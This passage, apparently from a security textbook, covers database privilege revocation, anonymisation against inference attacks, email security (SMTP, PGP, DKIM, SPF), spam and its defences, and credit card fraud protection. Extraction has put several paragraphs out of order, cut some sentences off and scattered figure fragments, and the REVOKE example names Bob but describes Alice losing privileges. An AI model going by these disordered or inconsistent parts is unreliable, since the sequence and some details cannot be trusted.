for Alice and give her permission to delegate SELECT permissions on that
view to other users as follows:

CREATE VIEW employees_alice AS
SELECT * FROM employees
WHERE name = ‘Alice’;

GRANT SELECT ON employees_alice TO Alice WITH GRANT OPTION;
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Visualizing Privilege Propagation and Revocation

The propagation of privileges in a database can be visualized using a
diagram, where nodes represent users and directed edges represent granted
privileges. If Alice grants a set of rights, A, to Bob, then we draw a directed
edge labeled with A from Alice to Bob. A user, Alice, who has granted
privileges to another, Bob, can opt to revoke those privileges at a later time,
which would be visualized by deleting or relabeling the edge from Alice to
Bob. A command that could perform such a revocation is as follows:

REVOKE SELECT ON employees FROM Bob;

This command should result in the revocation of all SELECT privileges
for Alice as well as all the people to which she had delegated this privilege.
For example, consider the case where a user Alice grants a set of privileges
to Bob, who in turn grants those privileges to Carol. If Alice revokes these
privileges from Bob, then the entire path of delegated propagation should
be followed so that both Bob and Carol have this set of privileges revoked.
This revocation scenario becomes a bit more complicated when multiple
users have granted Bob overlapping sets of privileges, and only one user
revokes these privileges. Intuitively, Bob should retain the complete set
of privileges granted by the user who did not issue a revocation, and
any grantees who were granted privileges by Bob should only have those
privileges revoked if Bob was authorized to perform this granting by a
different, unrevoked set of privileges. (See Figure 3.)

Charles CharlesDiane Diane

Alice Alice

C D D

(a) (b)
CUD D

Bob Bob

Figure 3: How database privileges can be visualized with a directed
diagram: (a) First, two administrators, Charles and Diane, each grant Alice
two sets of privileges, C and D, after which Alice grants those privileges
to Bob, giving him the set of rights in the union, C ∪ D. (b) If Charles
subsequently revokes the set of privileges, C, he granted to Alice, then the
privileges Bob inherited indirectly from Charles, through Alice, should also
be revoked, leaving Bob with just the privileges in D.
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Propagating Privilege Revocation

Implementing correctly privilege delegation and revocation requires some
additional overhead. The formal meaning of privilege revocation is that the
privileges given to users should be the same as if the revoked privilege had
never been granted. Recomputing all privileges for each user from scratch
by replaying all the GRANT statements ever issued, except the revoked one,
is computationally very onerous.

The technique described below allows to efficiently identify the impact
of revocation statements by maintaining a time stamp for each privilege
granting action. Namely, the database keeps a table, denoted grants,
whose attributes are the grantor, grantee, privilege, and time stamp of the
grant. A user holds a certain privilege, P, if table grants has at least one
record that contains P. Suppose, for example, that table grants has the
following entries:

Grantor Grantee Privilege Timestamp
Alice Carol P 1
Bob Carol P 2

Carol David P 3
Next, at time 5, Alice revokes her grant of privilege P to Carol. As a con-
sequence, the first record in table grants is removed. However, Carol still
has privilege P since it has been granted to her also by Bob. But how about
the grant of privilege P that Carol has made to David at time 3? Should
this record be removed, causing David to lose privilege P? The answer
is no because when this grant was done by Carol, she had a previously
issued (at time 2) grant for P from Bob. Thus, even in the absence of the
grant from Alice, Carol could have made a valid grant to David. Suppose
instead that the grant from Bob to Carol had been made at time 4, In this
case, Carol could not have been made a valid grant to David at time 3.
Thus, the associated record should be removed from table grants. The
algorithm for propagating privilege revocation is formally expressed below
in pseudocode.

REVOKE( record X)
1 let X = (A, B, P, t)
2 delete record X from grants
3 t∗ ← current time
4 for each record R such that R.grantee = B and R.privilege = P
5 do if R.timestamp < t∗

6 then t∗ ← R.timestamp
7 // t∗ is the earliest time stamp of a grant of P to B
8 for each record R such that R.grantor = B and R.privilege = P
9 do if R.timestamp < t∗

10 then REVOKE(R)
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1.4 Sensitive Data

In addition to ensuring that databases have appropriate access-control
measures in place, care must be taken to guarantee that sensitive data is
stored in a way that protects the privacy of users and any confidentiality
requirements for sensitive data.

Using Cryptography

If information being stored in a database has confidentiality requirements,
then it should not be stored in plaintext, but should instead be stored as the
output of a cryptographic function. As an example, consider a web site that

As another example, confidential files kept in a database should be
stored in encrypted form, where the decryption key should be known by
authorized users but not stored in the database itself. However, standard
encryption methods prevent searching for files by providing keywords.

Privacy Protection

Besides measures designed to protect the confidentiality of sensitive user
information, database owners should be careful to consider the privacy
impacts of publishing or granting access to sensitive information. If a
database is to be released to the public, say, to be used for research pur-
poses, then all identifying information, such as names, addresses, Social
Security numbers, employee numbers, and student numbers, should be
removed or changed to masking values, which are nondescript values that
lack all identifying information. For example, a database of employees
might be made public after each employee name is replaced with a unique
ID, like id001, id002, id003, and so on.
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stores passwords for user accounts in a database. These passwords should
never be stored in plaintext, or an intrusion could result in the compromise
of every user account. Instead, a cryptographic hash of each password and
its salt should be stored. When a user attempts to log in, the password pro-
vided by the user and the salt stored in the database would be hashed and
compared against the stored hash value. This way, if an attacker compro-
mised the database, they would acquire a list of hashes, from which the 
actual passwords could not be recovered unless a dictionary or bruteforce 
attack proved successful.
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Inference Attacks

Even if identifying information is removed or masked out, it may still be
possible to use the database in conjunction with additional information
available to the attacker to learn more about the underlying data. This
is referred to as an inference attack. As an example, consider a database
of employee records, whose attributes are name, gender, ID number, and
salary. Suppose a party is granted access to a sanitized version of the table,
where the name attribute is removed, for the purpose of creating statistics
on salary by gender. Another party may have a list of pairings associating
ID numbers to names for a reporting task. If these two parties were to com-
municate, they could easily infer the salary of each employee, despite the
intent of the database owner. In general, when granting access to modified
versions of a database, administrators should consider whether collusion
among grantees can allow them to gain unauthorized information.

Protecting Databases Against Inference Attacks

To protect a database from inference attacks, the following techniques can
be used prior to making the database public. (See Figure 4.)
• Cell suppression. In using this technique, some of the cells in a

database are removed and left blank in the published version. The
goal is to suppress the critical cells that could be used in an inference
attack to determine sensitive implications for individuals.

• Generalization. In using this technique, some values in a published
database are replaced with more general values. For example, a
date of birth, like “June 2, 1983,” could be replaced with a range of
years, like “1980–1984;” or a zip code, like “92697-3435,” might be
changed to “926xx-xxxx.” The goal is to generalize critical values so
that they become mixed with other values, to make inference attacks
less feasible.

• Noise addition. In using this technique, values in a published
database have random values added to them, so that the noise across
all records for the same attribute averages out to zero. For example,
an age value could have a random value in the range from −5 to 5
added to it. The goal is to obscure individual values while leaving the
average value unchanged.

Of course, all of these techniques make the information in a published
database less specific, which might be required by some regulations, such
as the requirement of the U.S. Census Bureau to never publish information
that can be directly traced to any individual U.S. citizen.
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Num Age1 Age2
11 49.3 53.6
18 46.9 63.2
20 49.3 49.8
35 43.6 46.5
42 46.4
44 47.5

Num Age1 Age2
11 49.3
18 46.9 63.2
20 49.3
35
42 46.4
44 47.5

(a) (b)

Num Age1 Age2
11 45–50 50–60
18 45–50 60–75
20 45–50 45–50
35 40–45 45–50
42 45–50
44 45–50

Num Age1 Age2
11 47.7 55.2
18 49.2 64.3
20 51.6 52.8
35 42.3 47.3
42 47.1
44 48.0

(c) (d)
Figure 4: Obfuscation techniques for protecting the privacy of individuals
included in a public database: (a) A table with individual names removed.
(b) A table anonymized using cell suppression. (c) A table anonymized
using generalization. (d) A table anonymized using noise.

Given the obfuscation techniques above, there is clearly a question of
how far to go in applying them to provide a sufficient amount of privacy
protection. In the extreme, we could “blur” the data so much that it is
completely useless, being little more than a database of random noise and
blank cells. This would protect data privacy, but it would also be com-
pletely useless. Thus, we need to apply the obfuscation techniques above
in conjunction with some rule for deciding when data has been sufficiently
obscured. Unfortunately, there is, as of yet, no widely accepted standard
for deciding when information in a public database has been sufficiently
obscured. Nevertheless, proposed definitions include the following:

• k-anonymization. In this standard, a database is considered suffi-
ciently anonymized if any possible SELECT query would return at
least k records, where k is a large enough threshold of disclosure
tolerance.

• Differential privacy In this standard, a database is considered suffi-
ciently anonymized if, for any record R in the database, the probabil-
ity, p, for some sensitive property, P, with R being in the database,
and the probability, p′, for the property, P, with R not being in the
database, differ by at most ε, where ε is a small enough threshold of
information leak tolerance.

Of course, both of these properties provide a quantifiable level of privacy.
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2 Email Security

Electronic mail is one of the most widely used Internet applications. Indeed,
the ability to send messages and files to specific groups or individuals via
the Internet is such a powerful tool that it has changed the way people
communicate in general. Because of this wide and ubiquitous usage,
addressing the security of email requires that we discuss several classic
security issues, including authentication, integrity, and confidentiality. We
study these issues in this section by briefly explaining how email works,
and then examining technologies that accomplish various security goals for
email. Finally, we will take a look at an important security problem related
to email—spam.

2.1 How Email Works

Today’s email systems make use of several protocols to deliver messages.
To handle the sending of messages from a client’s machine to a recipient’s
mail server, the Simple Mail Transfer Protocol (SMTP) is used. SMTP is
a simple text-based, application-layer protocol that uses TCP to facilitate a
“conversation” between a client wishing to send mail and an appropriate
receiving server. In the SMTP model, the client is referred to as the Mail
User Agent (MUA). The MUA sends an SMTP message to a Mail Sending
Agent (MSA), which in turn delivers the message to a Mail Transfer Agent
(MTA) responsible for transmitting the message to the receiving party. The
MSA and MTA frequently reside on the same physical server. The message
is transmitted from the sender’s MTA to the recipient’s MTA, where it is
transmitted to a Mail Delivery Agent (MDA) responsible for ensuring the
message reaches the recipient’s MUA.

The Client-Server Conversation

A client initiates an SMTP conversation over Port 25 with an MSA, such
as one managed by the user’s ISP. After establishing a TCP connection
and receiving the server’s banner, the client identifies itself with the HELO
command. After receiving an acknowledgment from the server, the client
identifies the sender of the message with a MAIL FROM field. Next, the
client specifies recipients using the RCPT TO field. Finally, the client
provides the message and any attachments in the DATA section, after which
the message is sent and the client terminates the connection with the QUIT
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command. An example SMTP conversation might appear as follows, where
the client is notated as “C” and the server as “S”:

S: 220 mail.example.com ESMTP Postfix
C: HELO relay.example.com
S: 250 mail.example.com Hello relay.example.com, pleased to meet you
C: MAIL FROM:<joe@example.com>
S: 250 <joe@example.com> sender ok
C: RCPT TO:<alice@othersite.com>
S: 250 <alice@othersite.com> recipient ok
C: DATA
S: 354 enter mail, end with "." on a line by itself
C: From: "Joe Smith" <joe@example.com>
C: To: "Alice" <alice@othersite.com>
C: Subject: Sample SMTP conversation
C: This is an example of an SMTP conversation. Hope you like it.
C: .
S: 250 Mail accepted for delivery
C: QUIT
S: 221 mail.example.com closing connection

Next, MSA sends this message to an MTA, which then queries the

joe@example.com
example.com

The SMTP protocol handles sending mail to servers designed to handle
queues of messages, but it is not used to deliver mail to clients. Instead,
two other protocols are primarily used, the Post Office Protocol (POP) and
the Internet Message Access Protocol (IMAP).

POP is the older of these two and was designed to support clients with
dial-up Internet connections. As such, a typical POP conversation involves
the client connecting to their MDA, downloading any new messages, delet-
ing those messages from the server, and disconnecting.

IMAP is a newer protocol that provides both online and offline opera-
tion. In the online mode, a client connects to a mail server and maintains
a persistent connection that allows it to download messages as needed.
IMAP also allows clients to search for messages on the mail server based
on several criteria, prior to actually downloading these messages. Finally,
most IMAP sessions by default leave any email messages intact on the mail
server rather than removing them on download.

Distributed-Applications Security

domain name system (DNS) to resolve the IP address of the MTA of the 
recipient. For example, given recipient , the sender’s MTA
would obtain the IP address for the MTA of domain                 . The 
sender’s MTAthen forwards the message to the recipient MTA with a simi-
lar conversation as above, and the MTA transfers the message to the MDA.
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2.2 Encryption and Authentication

The most common technique to safeguard the privacy of email is by
encrypting the actual transport of messages rather than their contents. Most

Pretty Good Privacy (PGP)

To provide a stronger level of confidentiality, which protects messages from
client to client, the actual contents of the email message must be encrypted.
There are several approaches that have been proposed for this purpose.
One well-known system is Pretty Good Privacy (PGP), which uses public-
key cryptography to encrypt and/or digitally sign email messages. When
sending a message to an intended recipient using PGP, the sender encrypts
the message using the recipient’s public key, so that only the recipient can
decrypt the message using his corresponding private key.

Verifying the authenticity of a recipient’s public key is important for
PGP’s security, since otherwise an attacker could potentially trick a sender
into using the attacker’s public key, for which he has a corresponding
private key. PGP relies on the notion of a web of trust, contrasting with the
hierarchical model employed by certificate services such as SSL. Instead of
employing a chain leading to a trusted root certificate, PGP uses a scheme
where each public key can be digitally signed by other trusted users, known
as introducers, to attest that the public key actually belongs to the party
claiming ownership. The basic idea is that after using the system for an
extended period of time, each user will retain a collection of trusted keys,
and each corresponding trusted party could take the role of an introducer
and verify the authenticity of a new public key. (See Figure 5.)
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None of the protocols above for sending and receiving email has any builtin
mechanism to guarantee the confidentiality of email messages. Therefore,
any party capable of intercepting traffic via IP sniffing would be able to
eavesdrop on any transmitted email messages in his or her subnet. To pro-
vide confidentiality, email can be encrypted in one of two ways: at the trans-
port layer or at the application layer.

mail servers support the use of SSL/TLS, protocols that securely encrypt
TCP traffic. These protocols are often used at each level of communication—
between the client and the local mail server, between the local and destina-
tion mail servers, and between the destination mail server and the recipient.
Relying solely on transport-layer encryption protects messages against 
in-flight eavesdropping, but implies a level of trust in the mail servers 
handling these messages. For example, an employee of an ISP who has 
access to that ISP’s mail server may be able to read the contents of all email
messages stored on that server.
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Figure 5: A web of trust in PGP. A directed edge from A to B indicates
that A signs B’s key. A full check mark indicates a key Alice fully trusts and
a half check mark indicates a key that Alice partially trusts. People without
a check mark or with half check mark have no keys that Alice trusts.

Authentication

The two main approaches currently being used to authenticate the origin of
an email message include:

• Authentication of the sending user. This approach allows a recipient
mail server to identify the author of an email message. To be effective,
however, it requires a widespread deployment of private-public key
pairs for mail users. For this reason, it is seldom used in practice.

• Authentication of the sending mail transfer agent. This approach
typically identifies the author’s organization, but not the individual
author. It is simpler to deploy than sending user authentication and
has growing adoption.

A complication arises with all types of signed email messages, of course,
since even inconsequential modifications while in transit, such as change
of encoding, will cause the signature verification to fail. Thus, the body
of signed email messages should be formatted in a way that reduces the
risk of modifications during transport. This formatting process is called
canonicalization.
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Sending User Authentication: S/MIME

An email message can be digitally signed to authenticate the sender. For
this approach to work, the MUAs of the sender and recipient need to
support the cryptographic operations associated with signing and verifying
and must agree on the cryptosystem used. The verification of a signed
email message relies on the knowledge by the recipient of the public key
of the sender. This key can be delivered to the recipient through a secure
channel or can be attested by an authority trusted by the recipient.

In the S/MIME standard for authentication of the sending user, an email
is structured according to the MIME (Multipurpose Internet Mail Exten-
sions) standard, which defines the format and encoding of attachments.
An S/MIME message has a body consisting of two parts:

• The first part is the message itself, which can consist, in turn. of
multiple parts, such as text and attachments.
• The second part is the signature over the first part.

The the structure of an S/MIME message is shown in the schematic exam-
ple of Figure 6(a).

Headers

Body

Message

Signature

Text

Attachment 1

Attachment 2

Headers

Body

Unsigned header

Signed header

Signed header

Unsigned header

Signed header

DKIM header

Signature

Algorithm

Domain…

(a) (b)

Figure 6: Digitally signed email messages: (a) Structure of an S/MIME
message, where the signature part refers to the rest of the message body, but
not to the headers. (b) Structure of a DKIM message, where the signature
in the DKIM header field refers to the message body and selected headers.

Distributed-Applications Security

462



Sending MTA Authentication: DKIM

A first approach for authenticating the sending mail transfer agent (MTA)
is DomainKeys Identified Mail (DKIM). In DKIM, a signing entity, usually
the MTA of the sender, adds a signature to a message to indicate that it
originated from the domain of the signing entity. DKIM relies on DNS

The DKIM signature covers not only the body of the message but also
selected headers. In particular, the FROM field must be signed. The
signature is included in a special header field, called DKIM Signature, which
is added to the message.

The attributes of a DKIM signature include the following:

• v: version of the DKIM specification

• d: domain of the signing entity

• s: selector of the signing key within the domain

• a: identifier of the cryptographic algorithms used for signing and
hashing, for example, rsa-sha256

• c: canonicalization algorithm, the transformation applied to the mes-
sage to standardize its format (e.g., remove blank lines at the end)
before hashing

• h: list of header fields covered by the signature in addition to the body

• bh: hash of the body of the message

• b: signature

An example of a DKIM Signature header field is given in Figure 7.

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=brown.edu; s=cs;
h=domainkey-signature:mime-version:received:in-reply-to:references
:date:message-id:subject:from:to:cc:content-type;

bh=L+J52L7uTfKTel/+2ywqQMH1eiGvl6tsXjDNAySew+8=;
b=vE2bvcj8GVHGHeECJA4WJ/t1BRbLBvlTQywbZl/HgFSMRfoIVUvH9lyVeMitOaNMeQ
C29TNP5fJPphaFhHb9tf8EkJBIojRryWRAl5/r5RgT6z5DLWs8fgHe0wUbWEwBQ+sSTs
A+vbfuLObS1Gwdxtu81HNOfiSLY0u2CM6R31s=

Figure 7: DKIM Signature header field.
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for the distribution of the public keys of the signing entities, which are stored
in DNS text records. Thus, DKIM is vulnerable to attacks on the DNS infra-
structure unless DNSSEC is deployed.
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Benefits of MTA Authentication

One of the insecure aspects of email, dating back to its creation when every
user on the Internet was trusted, is that, without MTA authentication, the
FROM field in an email message can be set to anything the sender likes.
Thus, if a sender claims to be a trusted financial institution, there is nothing
in the standard protocol to prevent this. The benefit of MTA authentication,
then, is that it makes it harder for a sender to falsify a FROM field, since the
MTA has to be willing to sign that field as being valid for the senders this
MTA is responsible for.

Increasingly, webmail services, such as Gmail, are adopting DKIM to
sign both the body and message headers of outgoing content. In addition,
many webmail services have begun to reject messages that have not been
digitally signed. For example, Gmail now rejects all messages claiming
to be from the eBay and PayPal domains unless they have a valid DKIM
signature verifying their origin. These steps are effective at eliminating

Sending MTA Authentication: SPF and SIDF

The Sender Policy Framework (SPF) follows an alternative approach to the
authentication of the sending MTA, where cryptography is not employed.
The IP addresses of the MTAs authorized to send mail for a domain are
stored in a DNS text record for that domain. The receiving MTA checks
that the IP of the sending MTA is in the list of authorized IP addresses for
the sender’s domain, as specified in the MAIL FROM SMTP command. SPF
relies on the IP address of the sending MTA. Thus, it is vulnerable to IP
source spoofing attacks and DNS cache poisoning attacks. A limitation of
SPF is that it does not support mail forwarding. Also, SPF does not protect
the integrity of the body of the message.

In comparing SPF with DKIM, we observe that SPF is channel-based
and authenticates the sender domain provided in the SMTP envelope,
whereas DKIM is object-based and can authenticate the sender domain
provided in the From header field. Advantages of SPF over DKIM include
faster processing and simpler implementation due to the lack of crypto-
graphic operations at the sending and receiving MTAs. Disadvantages of
SPF over DKIM include the lack of support for mail forwarding and for
content integrity. Both SPF and DKIM are vulnerable to attacks on the DNS
infrastructure.

The Sender ID Framework (SIDF) is similar to SPF. It also verifies the
sender’s domain specified in the header, such as in the FROM or SENDER
fields.
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spam (Section 2.3) and phishing attempts claiming to originate from these
domains.
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2.3 Spam

Since the earliest days of email, advertisers have attempted to capitalize on
the ease with which email allows access to millions of potential customers.
Spam email, formally referred to as unsolicited bulk email, is any form of
email that is sent to many recipients without prior contact. Spam most
often contains advertisements, but can also have more nefarious motives,
such as phishing and other attempts to perpetrate fraud. Depending on the
country, spam can be of questionable legality, but enforcing laws banning
the sending of spam has proven difficult, given the global nature of the
problem. Spam is so widespread that it is estimated to account for about
94% of all email sent.

For advertisers, spam is appealing because unlike nonelectronic mail,
the majority of the costs associated with sending spam are placed on the
recipients, who are forced to store and process the email. For large orga-
nizations, this cost is not trivial. At the time of this writing, it is estimated
that spam costs businesses around $100 billion per year.

Besides this massive financial burden, spam can be a hassle for the end
user, ranging from an inconvenience to an outright threat. Spam is often a
vector for scam artists, a means of propagating malware through email, a
starting point for phishing attacks, or an attempt at social engineering in the
hopes of tricking a recipient to perform some ill-advised action. Because of
these factors, a wide range of techniques have been developed to combat
spam and prevent it from reaching the end user. In this section, we discuss
some of the techniques used by spammers and we explore some prevention
measures that can be applied to battle spam.

Harvesting Addresses

There are several techniques by which spammers acquire mailing lists.
Some automatically harvest addresses by using specially designed pro-
grams that crawl the Web and collect anything that resembles an email
address, a process known as spidering. Individuals can often thwart un-
sophisticated spam harvesters by only posting their email address in a
modified form, such as john (dot) smith (at) example (dot) com, which is
easily understood by humans but may be difficult to automatically detect.

In addition to automatically searching for email addresses, spammers
often buy and sell email lists from other spammers, advertising partners,
or criminal networks. For this reason, users are encouraged to give out an
email address only to trusted parties, and to review any web site’s privacy
policy when deciding whether or not to provide an email address to that
web site.

Distributed-Applications Security

465



Sending Spam

Spammers employ many methods to facilitate sending massive amounts
of email. The most common technique involves hiding the origin of email
by simply spoofing the FROM field of the message. While this may fool
the average recipient, the IP address of the sender’s SMTP server is also
included in the email header, so any further investigation would reveal this
spoofing.

Open Relays and Proxies

If spammers sent mail from an ISP mail server directly, recipients would
most likely complain to that ISP, who would in turn shut down the spam-
mer’s accounts. Instead, most spammers add a layer of misdirection by
sending spam via a third party. An open relay is an SMTP server which is
configured to send email from any recipient, to any destination, in contrast
to most ISP mail servers, which only forward email on behalf of their
customers. Spammers can use open relays to send their mail without
relying on ISP mail servers. However, the dangers of running an open relay
are widely recognized, so today very few mail servers allow this behavior.

Another common technique used by spammers relies on proxy servers,
that is, servers that act as middlemen in performing connections between
pairs of Internet users. For example, when one party sends another party
a message via a proxy server, the message appears, to the recipient, to
have originated from the proxy rather than from the true source. Open
proxies are servers with this functionality that can be freely used by anyone
on the Internet. By sending mail via open proxy servers, spammers can
hide the true source of their messages. In order to trace spam back to its
source, investigators would need to analyze logs from the proxy server,
which could be anywhere in the world and may not cooperate without
government intervention. While open mail relays serve few legitimate
purposes, open proxies are usually hosted by people wishing to provide
users with the ability to browse the Internet anonymously and are not
inherently insecure or malicious.

CAPTCHAs

The growing popularity of webmail has provided spammers with a new
strategy. Spammers can simply register an account with a free webmail
service and use that account to send spam until the webmail provider
detects this activity. Many spammers have automated this process by
creating programs that register webmail accounts, send as much mail as
possible, and repeat the process when the account is cancelled.
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To combat automated email account creation tactics, most webmail
services require users to solve a CAPTCHA (Completely Automated Public
Turing test to tell Computers and Humans Apart). Such a task is anything
that is easily solved by a human but is difficult to solve programmatically
by a computer. Most CAPTCHAs are image recognition problems, where
a distorted image containing a line of text is presented, and the user must
interpret the embedded text. (See Figure 8.)

1. 

2. 

3. 

4. 5. 

Figure 8: A CAPTCHA. Asking a user to type the words they see inside
the rectangles, in the specified order, is something that is relatively easy for
a human to do compared to a computer.

Unfortunately, some spammers circumvent these CAPTCHAs using
web sites that require visitors to solve a CAPTCHA to gain access. Un-
beknownst to the visitors, these CAPTCHAs are actually copied from
webmail registration pages. The user-provided solutions are then passed
to automated spambots in order to register a webmail account for send-
ing spam. In addition, some spammers even employ low-paid workers
from developing countries to solve CAPTCHAs for them. In either case,
however, the use of CAPTCHAs increases the operational expenses of
spammers; hence, these techniques are having a positive effect.

Spam and Malware

Frequently, computers infected with malware are used to send spam, which
allows hackers to turn their victims’ machines into a means of making
money. In fact, it is estimated that over 80% of all spam originates from bot-
nets, which are networks of compromised computers controlled by a single
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attacker. Even when botnets are not involved, many viruses turn their hosts
into spambots that churn out millions of emails a day. Other viruses turn
their hosts into open proxies that spammers use to anonymize their mail.
Such spam emails are harder to detect, of course, since they are coming from
bots impersonating legitimate users.

467



The Economics of Spam

Ultimately, the reason spam continues to saturate inboxes with junk mail
is because it is profitable for spammers. To analyze the profitability of
spam, we must examine a number of factors. The primary cost associated
with sending spam is the expense of maintaining email lists, which may
be especially significant if lists are obtained by purchasing them from other
parties.

Sending email incurs little expense on the sender because nearly all of
the operational costs associated with storing large volumes of information
are forced on the unwilling recipients.

Other operational expenses for spammers may include acquiring (or
renting) and maintaining botnets and mail servers. Finally, the risks associ-
ated with sending spam, including criminal prosecution, should be factored
into a model analyzing the economics of spam.

Spam is profitable because the total return is generally greater than the
sum of these expenses. The conversion rate refers to the percentage of spam
recipients who follow through and perform some desired action that results
in the spammer receiving money. This action may be, for example, pur-
chasing a product, signing up for a service, or simply clicking an advertise-
ment, which could generate advertisement revenue for the spammer. The
conversion rate is typically extremely small. An experiment conducted by
infiltrating a botnet resulted in 28 conversions out of 350 million message,
yielding conversion rate of 0.000008%. In general, researchers estimate that
the average conversion rate for spam is less than 0.0001%. Nevertheless,
despite this narrow turnover rate, the sheer number of recipients allows
spammers to recover their expenses and be profitable. (See Figure 9.)

A princess in Nigeria wants to
send me money!

That penny stock looks
like a good investment
for our nest egg.

Yes, as a matter of fact,
I am a citizen and I do 
like the picture you sent.

Figure 9: Dramatizations of the 0.0001% of spam recipients who actually
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(“That penny stock …”) © Yuri Arcurs/Shutterstock; (“A princess in Nigeria …”)
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A simple way of modeling the expected profit, P, of a spammer can be
described using the formula

P = C · N · R−O,

where C is the conversion rate, N is the number of recipients, R is the return
on each converted email, and O is the total of all operational expenses,
including both monetary investments and estimated risk. As a first defense
against spam, filtering techniques have been developed to reduce the value
of N. In addition, user education programs can help reducing C.

Blacklisting and Greylisting

One of the most popular means of preventing spam from reaching end
users is by blacklisting known and suspected sources of spam and filtering
incoming email based on these lists. While maintaining an accurate black-
list would be impossible for any single ISP, there are several centralized
resources devoted to aggregating lists of spam sources, which can then be
downloaded by mail providers to assist in spam filtering.

Spam blacklists are often published using the domain name system
(DNS), in which case they are referred to as DNSBLs (DNS blacklists).
These have been considered controversial, since many DNSBL publishers
take a proactive stance against spam and blacklist aggressively, potentially
preventing legitimate sources of email from reaching their destinations.
Supporters argue that aggressive blacklisting could force ISPs who tolerate
spammers to be held accountable for their negligence, while opposers are
concerned by the potential impact on free speech over the Internet.

Another spam-filtering technique, known as greylisting, involves the
recipient mail server initially rejecting mail from unknown senders. When
receiving an email from an unknown sender, the receiving mail server
sends a “temporary rejection” message to the sender and logs appropriate
information. Since this temporary rejection message is a standardized part
of the SMTP protocol, legitimate senders should respond by retransmitting
the rejected email after a certain period of time, at which point the receiving
mail server will accept the message.

This tactic relies on the fact that spammers are typically trying to send
email to millions of recipients, and do not have the resources to handle these
temporary rejections and retransmissions. Greylisting is typically very easy
to configure and requires no further interaction from an administrator once
it is set up. While this is still in accordance with the SMTP protocol, users
may desire near-instantaneous mail, which greylisting prevents. Neverthe-
less, this is a trade-off many administrators are willing to make, especially
given how effectively greylisting reduces spam.
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Content Filtering

The final antispam mechanism we discuss is perhaps the most complex,
content filtering. In this technique, network administrators deploy applica-
tions or extensions to mail servers that analyze the text and attachments of
each incoming email, determine the likelihood of each email being spam,
and perform actions based on this assessment. A naive form of content fil-
tering simply uses lists of blacklisted words and labels a message as spam if
it contains any of these words. This sort of scheme may provide basic spam
protection, but it usually results in a high number of false positives, where
legitimate emails are mislabeled as spam, and false negatives, where spam
emails are labeled as legitimate just because they avoid spam keywords, for
example, by using disguised words like “V1agr@.”

To provide better results, more sophisticated methods of categorizing
emails based on their contents have been developed. One of the most effec-
tive techniques is known as Bayesian filtering, which relies on a machine
learning algorithm to gradually figure out over time how to differentiate
spam from legitimate email. In order to achieve this “learning,” the filter
is first subjected to a training period where it simply records whether
or not an email is considered spam based on user responses. The filter
maintains a list of all words found in the contents of these emails, and
calculates the probabilities that an email containing each word is either
spam or legitimate. Once these probabilities have been calibrated over a
period of time, the filter can assign a rating to each incoming email that
represents its likelihood of being spam. An administrator would then set a
threshold, and if an email has a spam rating higher than this threshold, an
appropriate action is taken, such as blocking the email entirely or moving
it to a quarantine area.

Recent research in spam-filtering has resulted in a number of techniques
that seek to utilize user collaboration to categorize and block spam. In this
setting, however, care must be taken to ensure that each user’s contribution
does not violate the privacy of his or her emails. To achieve this goal,
systems such as ALPACAS (A Large-scale, Privacy-Aware Collaborative
Antispam System) pioneer using a specially designed transformation func-
tion that is performed on each examined email to generate a “fingerprint”
for that particular message. Ideally, it would be computationally infeasible
to determine the contents of a message from its fingerprint, analogous
to a one-way hash function. In addition, evasion techniques employed
by spammers that subtly alter the contents of each spam message should
have no effect on its fingerprint. Systems such as ALPACAS have been
shown to be more effective than traditional Bayesian filtering, and may be
implemented more widely in the future.
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3 Payment Systems and Auctions

3.1 Credit Cards

Most online sales are completed using credit or debit cards. An online
credit card transaction consists of several phases, which involve several
parties: the customer, the customer’s bank, called issuer, the merchant, the
merchant’s bank, called acquirer, and the card network (e.g., MasterCard),
called the card association.

the merchant the credit card number along with additional information,
such as expiration date and security code. The merchant submits the
transaction to the acquirer, which forwards it to the issuer via the card
association. The issuer verifies the validity of the card and the availability
of funds in the customer’s credit line. If the verification succeeds, the issuer
decreases the customer’s credit line by the purchase amount and sends
back to the merchant a transaction authorization via the card association
and the acquirer. The authorization phase takes place in real time. Once
the merchant receives the purchase authorization, it sends the purchased
goods to the customer.

Card Association

Acquirer
(merchant’s bank)

Customer

Issuer
(customer’s bank)

2. request

3. authorization

3. authorization

2. request

1. credit card info

4. goods

Merchant
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In the authorization phase, (see Figure 10), the customer provides to

Figure 10: The authorization phase in online credit card processing.
(“Card issuing bank,” “Merchant’s bank”/bank) © Zlatko Guzmic/
Shutterstock; (“Customer”) © Vallentin Vassileff/Shutterstock; (“Card
issuing bank”/credit cards) © Sergil Koroiko/Shutterstock; (“Merchant’s
bank”/money bags) © Sferdon/Shutterstock; (“Merchant’s website”) 
© Lenny712/Shutterstock
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Periodically, e.g., at the end of each day, the merchant submits to the
acquirer a batch of authorized transactions. The acquirer forwards them to
the card network, which handles the settlement of all transactions. As part
of the settlement, the acquirer is credited for the purchase amount and the
issuer is debited for the same amount. Once the settlement is completed,
funds are transfered from the issuer to the acquirer, the merchant receives
the funds and the customer is billed. The settlement takes one to three
days from the submission of authorizations to the delivery of funds to the
merchant.

Credit Card Fraud and Chargebacks

One of the easiest types of credit fraud comes from the fact that credit
cards are first and foremost physical objects that represent something that
exists in the electronic world—a line of credit. In an online credit card
transaction, the online identification the customer provides is the credit
card number and possibly a security identifier, both of which are obtainable
given physical access to the card. If the attacker can obtain these numbers,
he can make purchases with the victim’s credit card. As a result, stolen
credit card numbers have become a commonly traded black market item.

There are several protections in place to defend against and mitigate
the impact of credit card fraud. United States law limits the liability of
cardholders to $50 in the event of fraud, regardless of how much money
was spent. This law protects citizens from financial hardship due to fraud.
In addition, every customer has the ability to initiate a chargeback if a
fraudulent or otherwise incorrect purchase appears on their billing state-
ment. In the event of a chargeback, the merchant is given the opportunity
to dispute the claim, at which point the case would be mediated by both
the merchant and customer banks. If the chargeback is undisputed or if the
customer’s bank wins a dispute, the money for the transaction is refunded
to the customer and the merchant must pay a chargeback penalty. Impor-
tantly, even if a merchant is not responsible for the fraudulent charges, as
in the case of credit card theft, they are obligated to refund the customer.
This measure puts strong pressure on merchants to verify the identity of
customers before authorizing a purchase, and protects consumers from
financial hardship in the event of fraud.

Card Cancellation

Credit card issuers have dedicated phone numbers for the cancellation of a
lost or stolen card. Once a card is canceled, all transactions that use the card
are denied. Also, attempted transactions are recorded to assist in tracking
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down abusers. To further protect consumers, banks monitor customer
purchasing patterns and apply fraud detection techniques to determine the
likelihood that a given purchase is fraudulent. Indicators include consec-
utive purchases in geographically distant regions and purchase amounts
much larger than past averages. In such cases, banks typically place a
temporary hold on the account in question until the legitimacy of each
questionable transaction can be confirmed by the cardholder.

